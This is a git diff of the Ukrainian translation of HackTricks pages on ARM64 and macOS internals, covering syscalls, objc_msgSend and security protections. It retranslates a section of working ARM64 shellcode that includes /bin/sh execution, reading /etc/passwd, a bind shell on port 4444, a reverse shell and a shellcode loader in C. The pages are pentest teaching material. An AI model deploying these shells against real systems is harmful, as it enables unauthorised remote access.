* Біти **`J`** та **`T`**: **`J`** має бути 0, і якщо **`T`** 0, використовується набір інструкцій A32, а якщо 1, використовується T32.
|
||||||
* Регістр стану блоку IT (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом `IT`.
|
* **Реєстр стану блоку IT** (`ITSTATE`): Це біти з 10-15 та 25-26. Вони зберігають умови для інструкцій всередині групи з префіксом **`IT`**.
|
||||||
* Біт **`E`**: Вказує на **порядок байтів**.
|
* Біти **`E`**: Вказує на **порядок байтів**.
|
||||||
* Біти режиму та маски винятків (0-4): Вони визначають поточний стан виконання. П'ятий вказує, що програма працює як 32-бітна (1) або 64-бітна (0). Інші 4 представляють **режим винятка, який в даний момент використовується** (коли виникає виняток і його обробляють). Число встановлює **поточний пріоритет**, у разі виникнення іншого винятка під час обробки цього.
|
* Біти маски режиму та виключення (0-4): Вони визначають поточний стан виконання. **5-й** вказує, чи програма працює в 32-бітному (1) або 64-бітному (0) режимі. Інші 4 представляють **режим виключення, що використовується в даний момент** (коли виникає виключення і його обробляють). Встановлене число **вказує на поточний пріоритет** у випадку, якщо виникає інше виключення під час обробки цього.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (1200).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
* **`AIF`**: Деякі винятки можна вимкнути, використовуючи біти **`A`**, `I`, `F`. Якщо **`A`** дорівнює 1, це означає, що будуть викликані **асинхронні відмови**. **`I`** налаштовує відповідь на зовнішні апаратні **запити переривань** (IRQ), а F пов'язаний з **швидкими запитами переривань** (FIR).
|
* **`AIF`**: Деякі виключення можуть бути вимкнені за допомогою бітів **`A`**, `I`, `F`. Якщо **`A`** 1, це означає, що **асинхронні аборти** будуть викликані. **`I`** налаштовує відповідь на зовнішні апаратні **Запити переривання** (IRQ). а F пов'язаний з **Швидкими запитами переривання** (FIR).
|
||||||
|
|
||||||
## macOS
|
## macOS
|
||||||
|
|
||||||
### BSD системні виклики
|
### BSD syscalls
|
||||||
|
|
||||||
Перевірте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD системні виклики матимуть **x16 > 0**.
|
Перегляньте [**syscalls.master**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master). BSD syscalls матимуть **x16 > 0**.
|
||||||
|
|
||||||
### Mach Traps
|
### Mach Traps
|
||||||
|
|
||||||
Перевірте в [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` та в [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) прототипи. Максимальна кількість Mach traps - `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** це **`-10`**.
|
Перегляньте в [**syscall\_sw.c**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/kern/syscall\_sw.c.auto.html) `mach_trap_table` та в [**mach\_traps.h**](https://opensource.apple.com/source/xnu/xnu-3789.1.32/osfmk/mach/mach\_traps.h) прототипи. Максимальна кількість Mach traps - `MACH_TRAP_TABLE_COUNT` = 128. Mach traps матимуть **x16 < 0**, тому вам потрібно викликати номери з попереднього списку з **мінусом**: **`_kernelrpc_mach_vm_allocate_trap`** - це **`-10`**.
|
||||||
|
|
||||||
Ви також можете перевірити **`libsystem_kernel.dylib`** у дизасемблері, щоб дізнатися, як викликати ці (і BSD) системні виклики:
|
Ви також можете перевірити **`libsystem_kernel.dylib`** в дизасемблері, щоб дізнатися, як викликати ці (та BSD) syscalls:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -349,31 +348,33 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
|
Зверніть увагу, що **Ida** та **Ghidra** також можуть декомпілювати **конкретні dylibs** з кешу, просто передавши кеш.
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **вихідний код**, оскільки код декількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в вихідному коді), тоді як у dylib ви можете знайти, що викликається.
|
Іноді легше перевірити **декомпільований** код з **`libsystem_kernel.dylib`** **ніж** перевіряти **джерельний код**, оскільки код кількох системних викликів (BSD та Mach) генерується за допомогою скриптів (перевірте коментарі в джерельному коді), тоді як у dylib ви можете знайти, що викликається.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### виклики machdep
|
### machdep виклики
|
||||||
|
|
||||||
XNU підтримує ще один тип викликів, які називаються залежними від машини. Кількість цих викликів залежить від архітектури, і ані виклики, ані їх номери не гарантовано залишатимуться постійними.
|
XNU підтримує ще один тип викликів, званий залежними від машини. Кількість цих викликів залежить від архітектури, і ні виклики, ні числа не гарантовано залишаться постійними.
|
||||||
|
|
||||||
### сторінка comm
|
### comm page
|
||||||
|
|
||||||
Це сторінка пам'яті власника ядра, яка відображена в адресному просторі кожного процесу користувача. Це призначено для прискорення переходу з режиму користувача до простору ядра швидше, ніж використання системних викликів для ядерних служб, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
Це сторінка пам'яті, що належить ядру, яка відображається в адресному просторі кожного процесу користувача. Вона призначена для того, щоб зробити перехід з режиму користувача в простір ядра швидшим, ніж використання системних викликів для служб ядра, які використовуються настільки часто, що цей перехід був би дуже неефективним.
|
||||||
|
|
||||||
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки comm.
|
Наприклад, виклик `gettimeofdate` читає значення `timeval` безпосередньо зі сторінки комунікації.
|
||||||
|
|
||||||
### objc\_msgSend
|
### objc\_msgSend
|
||||||
|
|
||||||
Дуже поширено зустрічати цю функцію в програмах Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
|
Цю функцію дуже часто можна знайти в програмах на Objective-C або Swift. Ця функція дозволяє викликати метод об'єкта Objective-C.
|
||||||
|
|
||||||
Параметри ([додаткова інформація в документації](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
Параметри ([більше інформації в документації](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
|
||||||
|
|
||||||
* x0: self -> Вказівник на екземпляр
|
* x0: self -> Вказівник на екземпляр
|
||||||
* x1: op -> Селектор методу
|
* x1: op -> Селектор методу
|
||||||
* x2... -> Решта аргументів викликаного методу
|
* x2... -> Інші аргументи викликаного методу
|
||||||
|
|
||||||
Таким чином, якщо ви встановите точку зупинки перед гілкою до цієї функції, ви легко зможете знайти, що викликається в lldb (у цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
Отже, якщо ви поставите точку зупинки перед переходом до цієї функції, ви зможете легко знайти, що викликається в lldb (в цьому прикладі об'єкт викликає об'єкт з `NSConcreteTask`, який виконає команду):
|
||||||
```bash
|
```bash
|
||||||
# Right in the line were objc_msgSend will be called
|
# Right in the line were objc_msgSend will be called
|
||||||
(lldb) po $x0
|
(lldb) po $x0
|
||||||
|
@ -392,32 +393,32 @@ whoami
|
||||||
)
|
)
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Встановлення змінної середовища **`NSObjCMessageLoggingEnabled=1`** дозволяє реєструвати, коли ця функція викликається в файлі, наприклад, `/tmp/msgSends-pid`.
|
Встановивши змінну середовища **`NSObjCMessageLoggingEnabled=1`**, можна записувати, коли ця функція викликається у файлі, наприклад, `/tmp/msgSends-pid`.
|
||||||
|
|
||||||
Крім того, встановлення **`OBJC_HELP=1`** і виклик будь-якого виконуваного файлу дозволяє переглянути інші змінні середовища, які можна використовувати для **реєстрації** випадків виконання певних дій Objc-C.
|
Крім того, встановивши **`OBJC_HELP=1`** та викликавши будь-який бінарний файл, ви можете побачити інші змінні середовища, які можна використовувати для **логування**, коли відбуваються певні дії Objc-C.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляру, для цього виконуються різні пошуки:
|
Коли ця функція викликається, потрібно знайти викликаний метод вказаного екземпляра, для цього проводяться різні пошуки:
|
||||||
|
|
||||||
* Виконати оптимістичний пошук в кеші:
|
* Виконати оптимістичний пошук у кеші:
|
||||||
* Якщо успішно, завершено
|
* Якщо успішно, завершити
|
||||||
* Отримати runtimeLock (читання)
|
* Отримати runtimeLock (читання)
|
||||||
* Якщо (реалізувати && !cls->realized) реалізувати клас
|
* Якщо (realize && !cls->realized) реалізувати клас
|
||||||
* Якщо (ініціалізувати && !cls->initialized) ініціалізувати клас
|
* Якщо (initialize && !cls->initialized) ініціалізувати клас
|
||||||
* Спробувати власний кеш класу:
|
* Спробувати власний кеш класу:
|
||||||
* Якщо успішно, завершено
|
* Якщо успішно, завершити
|
||||||
* Спробувати список методів класу:
|
* Спробувати список методів класу:
|
||||||
* Якщо знайдено, заповнити кеш і завершено
|
* Якщо знайдено, заповнити кеш і завершити
|
||||||
* Спробувати кеш батьківського класу:
|
* Спробувати кеш суперкласу:
|
||||||
* Якщо успішно, завершено
|
* Якщо успішно, завершити
|
||||||
* Спробувати список методів батьківського класу:
|
* Спробувати список методів суперкласу:
|
||||||
* Якщо знайдено, заповнити кеш і завершено
|
* Якщо знайдено, заповнити кеш і завершити
|
||||||
* Якщо (розв'язувач) спробувати розв'язувач методу і повторити з пошуку класу
|
* Якщо (resolver) спробувати метод резолвера, і повторити з пошуку класу
|
||||||
* Якщо все ще тут (= все інше не вдалося), спробувати пересилальник
|
* Якщо все ще тут (= все інше не вдалося) спробувати forwarder
|
||||||
|
|
||||||
### Коди оболонки
|
### Shellcodes
|
||||||
|
|
||||||
Для компіляції:
|
Щоб скомпілювати:
|
||||||
```bash
|
```bash
|
||||||
as -o shell.o shell.s
|
as -o shell.o shell.s
|
||||||
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
|
||||||
|
@ -425,14 +426,14 @@ ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/Comm
|
||||||
# You could also use this
|
# You could also use this
|
||||||
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
|
||||||
```
|
```
|
||||||
Для видобутку байтів:
|
Щоб витягти байти:
|
||||||
```bash
|
```bash
|
||||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
|
||||||
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||||
echo -n '\\x'$c
|
echo -n '\\x'$c
|
||||||
done
|
done
|
||||||
```
|
```
|
||||||
Для новіших версій macOS:
|
Для новіших macOS:
|
||||||
```bash
|
```bash
|
||||||
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
|
||||||
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
|
||||||
|
@ -441,7 +442,7 @@ done
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>С код для тестування shellcode</summary>
|
<summary>C код для тестування shellcode</summary>
|
||||||
```c
|
```c
|
||||||
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
|
||||||
// gcc loader.c -o loader
|
// gcc loader.c -o loader
|
||||||
|
@ -489,7 +490,7 @@ return 0;
|
||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
#### Оболонка
|
#### Shell
|
||||||
|
|
||||||
Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.
|
Взято з [**тут**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) та пояснено.
|
||||||
|
|
||||||
|
@ -511,7 +512,7 @@ sh_path: .asciz "/bin/sh"
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="зі стеком" %}
|
{% tab title="з стеком" %}
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||||
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
|
||||||
|
@ -542,7 +543,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||||
```
|
```
|
||||||
{% endtab %}
|
{% endtab %}
|
||||||
|
|
||||||
{% tab title="з adr для Linux" %}
|
{% tab title="з adr для linux" %}
|
||||||
```armasm
|
```armasm
|
||||||
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/
|
||||||
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
|
||||||
|
@ -558,9 +559,12 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter,
|
||||||
|
|
||||||
sh_path: .asciz "/bin/sh"
|
sh_path: .asciz "/bin/sh"
|
||||||
```
|
```
|
||||||
#### Читання за допомогою cat
|
{% endtab %}
|
||||||
|
{% endtabs %}
|
||||||
|
|
||||||
Метою є виконання `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (що в пам'яті означає стек адрес).
|
#### Читати за допомогою cat
|
||||||
|
|
||||||
|
Мета полягає в тому, щоб виконати `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)`, тому другий аргумент (x1) є масивом параметрів (які в пам'яті означають стек адрес).
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||||
.global _main ; Declare a global symbol _main
|
.global _main ; Declare a global symbol _main
|
||||||
|
@ -586,7 +590,7 @@ cat_path: .asciz "/bin/cat"
|
||||||
.align 2
|
.align 2
|
||||||
passwd_path: .asciz "/etc/passwd"
|
passwd_path: .asciz "/etc/passwd"
|
||||||
```
|
```
|
||||||
#### Виклик команди за допомогою sh з відгалуження, щоб основний процес не був завершений
|
#### Виклик команди з sh з дочірнього процесу, щоб основний процес не був вбитий
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
|
||||||
.global _main ; Declare a global symbol _main
|
.global _main ; Declare a global symbol _main
|
||||||
|
@ -630,9 +634,9 @@ sh_c_option: .asciz "-c"
|
||||||
.align 2
|
.align 2
|
||||||
touch_command: .asciz "touch /tmp/lalala"
|
touch_command: .asciz "touch /tmp/lalala"
|
||||||
```
|
```
|
||||||
#### Прив'язка оболонки
|
#### Bind shell
|
||||||
|
|
||||||
Прив'язка оболонки з [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) на **порт 4444**
|
Bind shell з [https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s](https://raw.githubusercontent.com/daem0nc0re/macOS\_ARM64\_Shellcode/master/bindshell.s) на **порті 4444**
|
||||||
```armasm
|
```armasm
|
||||||
.section __TEXT,__text
|
.section __TEXT,__text
|
||||||
.global _main
|
.global _main
|
||||||
|
@ -714,7 +718,7 @@ mov x2, xzr
|
||||||
mov x16, #59
|
mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
#### Зворотній shell
|
#### Зворотний шелл
|
||||||
|
|
||||||
З [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444**
|
З [https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/reverseshell.s), revshell до **127.0.0.1:4444**
|
||||||
```armasm
|
```armasm
|
||||||
|
@ -784,16 +788,16 @@ mov x16, #59
|
||||||
svc #0x1337
|
svc #0x1337
|
||||||
```
|
```
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Вивчайте та практикуйте взлом AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Вивчайте та практикуйте AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Вивчайте та практикуйте взлом GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Вивчайте та практикуйте GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Підтримайте HackTricks</summary>
|
<summary>Підтримайте HackTricks</summary>
|
||||||
|
|
||||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,8 +1,8 @@
|
||||||
# macOS Security Protections
|
# macOS Security Protections
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -27,6 +27,10 @@ Gatekeeper зазвичай використовується для познач
|
||||||
|
|
||||||
## Processes Limitants
|
## Processes Limitants
|
||||||
|
|
||||||
|
### MACF
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
### SIP - System Integrity Protection
|
### SIP - System Integrity Protection
|
||||||
|
|
||||||
{% content-ref url="macos-sip.md" %}
|
{% content-ref url="macos-sip.md" %}
|
||||||
|
@ -51,7 +55,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
||||||
|
|
||||||
### Launch/Environment Constraints & Trust Cache
|
### Launch/Environment Constraints & Trust Cache
|
||||||
|
|
||||||
Обмеження запуску в macOS є функцією безпеки для **регулювання ініціації процесів**, визначаючи **хто може запустити** процес, **як** і **звідки**. Введені в macOS Ventura, вони класифікують системні бінарні файли в категорії обмежень у **кеші довіри**. Кожен виконуваний бінар має встановлені **правила** для свого **запуску**, включаючи **сам**, **батьківський** та **відповідальний** обмеження. Розширені до сторонніх програм як **Environment** Constraints в macOS Sonoma, ці функції допомагають зменшити потенційні експлуатації системи, регулюючи умови запуску процесів.
|
Обмеження запуску в macOS є функцією безпеки для **регулювання ініціації процесів**, визначаючи **хто може запустити** процес, **як** і **звідки**. Введені в macOS Ventura, вони класифікують системні двійкові файли в категорії обмежень у **кеші довіри**. Кожен виконуваний двійковий файл має встановлені **правила** для свого **запуску**, включаючи **себе**, **батька** та **відповідальні** обмеження. Розширені до сторонніх програм як **Environment** Constraints в macOS Sonoma, ці функції допомагають зменшити потенційні експлуатації системи, регулюючи умови запуску процесів.
|
||||||
|
|
||||||
{% content-ref url="macos-launch-environment-constraints.md" %}
|
{% content-ref url="macos-launch-environment-constraints.md" %}
|
||||||
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
[macos-launch-environment-constraints.md](macos-launch-environment-constraints.md)
|
||||||
|
@ -61,7 +65,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
||||||
|
|
||||||
Інструмент видалення шкідливих програм (MRT) є ще однією частиною інфраструктури безпеки macOS. Як випливає з назви, основна функція MRT полягає в **видаленні відомих шкідливих програм з заражених систем**.
|
Інструмент видалення шкідливих програм (MRT) є ще однією частиною інфраструктури безпеки macOS. Як випливає з назви, основна функція MRT полягає в **видаленні відомих шкідливих програм з заражених систем**.
|
||||||
|
|
||||||
Коли шкідливе програмне забезпечення виявляється на Mac (або за допомогою XProtect, або іншим способом), MRT може бути використаний для автоматичного **видалення шкідливого програмного забезпечення**. MRT працює тихо у фоновому режимі і зазвичай запускається щоразу, коли система оновлюється або коли завантажується нове визначення шкідливого програмного забезпечення (схоже, що правила, які MRT має для виявлення шкідливого програмного забезпечення, знаходяться всередині бінару).
|
Коли шкідливе програмне забезпечення виявляється на Mac (або за допомогою XProtect, або іншим способом), MRT може бути використано для автоматичного **видалення шкідливого програмного забезпечення**. MRT працює тихо у фоновому режимі і зазвичай запускається щоразу, коли система оновлюється або коли завантажується нове визначення шкідливого програмного забезпечення (схоже, що правила, які MRT має для виявлення шкідливого програмного забезпечення, знаходяться всередині двійкового файлу).
|
||||||
|
|
||||||
Хоча як XProtect, так і MRT є частинами заходів безпеки macOS, вони виконують різні функції:
|
Хоча як XProtect, так і MRT є частинами заходів безпеки macOS, вони виконують різні функції:
|
||||||
|
|
||||||
|
@ -78,7 +82,7 @@ MacOS Sandbox **обмежує програми**, що працюють все
|
||||||
|
|
||||||
Це працює з **демоном**, розташованим у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`, і **агентом** у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
Це працює з **демоном**, розташованим у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/backgroundtaskmanagementd`, і **агентом** у `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Support/BackgroundTaskManagementAgent.app`
|
||||||
|
|
||||||
Спосіб, яким **`backgroundtaskmanagementd`** дізнається, що щось встановлено в постійній папці, полягає в **отриманні FSEvents** і створенні деяких **обробників** для них.
|
Спосіб, яким **`backgroundtaskmanagementd`** дізнається, що щось встановлено в постійну папку, полягає в **отриманні FSEvents** і створенні деяких **обробників** для них.
|
||||||
|
|
||||||
Більше того, існує файл plist, який містить **добре відомі програми**, які часто зберігаються, що підтримується Apple, розташований у: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
Більше того, існує файл plist, який містить **добре відомі програми**, які часто зберігаються, що підтримується Apple, розташований у: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist`
|
||||||
```json
|
```json
|
||||||
|
@ -142,9 +146,10 @@ T
|
||||||
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
* [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481)
|
||||||
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
* [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr)
|
||||||
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
* [https://support.apple.com/en-gb/guide/deployment/depdca572563/web](https://support.apple.com/en-gb/guide/deployment/depdca572563/web)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -156,4 +161,3 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
</details>
|
|
||||||
|
|
|
@ -249,7 +249,7 @@ In `/tmp/trace.out` ви зможете побачити кожну переві
|
||||||
|
|
||||||
#### Через API
|
#### Через API
|
||||||
|
|
||||||
Функція `sandbox_set_trace_path`, експортована з `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
|
Функція `sandbox_set_trace_path`, експортована `libsystem_sandbox.dylib`, дозволяє вказати ім'я файлу трасування, куди будуть записані перевірки пісочниці.\
|
||||||
Також можливо зробити щось подібне, викликавши `sandbox_vtrace_enable()` і отримавши журнали помилок з буфера, викликавши `sandbox_vtrace_report()`.
|
Також можливо зробити щось подібне, викликавши `sandbox_vtrace_enable()` і отримавши журнали помилок з буфера, викликавши `sandbox_vtrace_report()`.
|
||||||
|
|
||||||
### Інспекція пісочниці
|
### Інспекція пісочниці
|
||||||
|
@ -266,9 +266,9 @@ MacOS зберігає системні профілі пісочниці у д
|
||||||
|
|
||||||
### Користувацький SBPL у додатках App Store
|
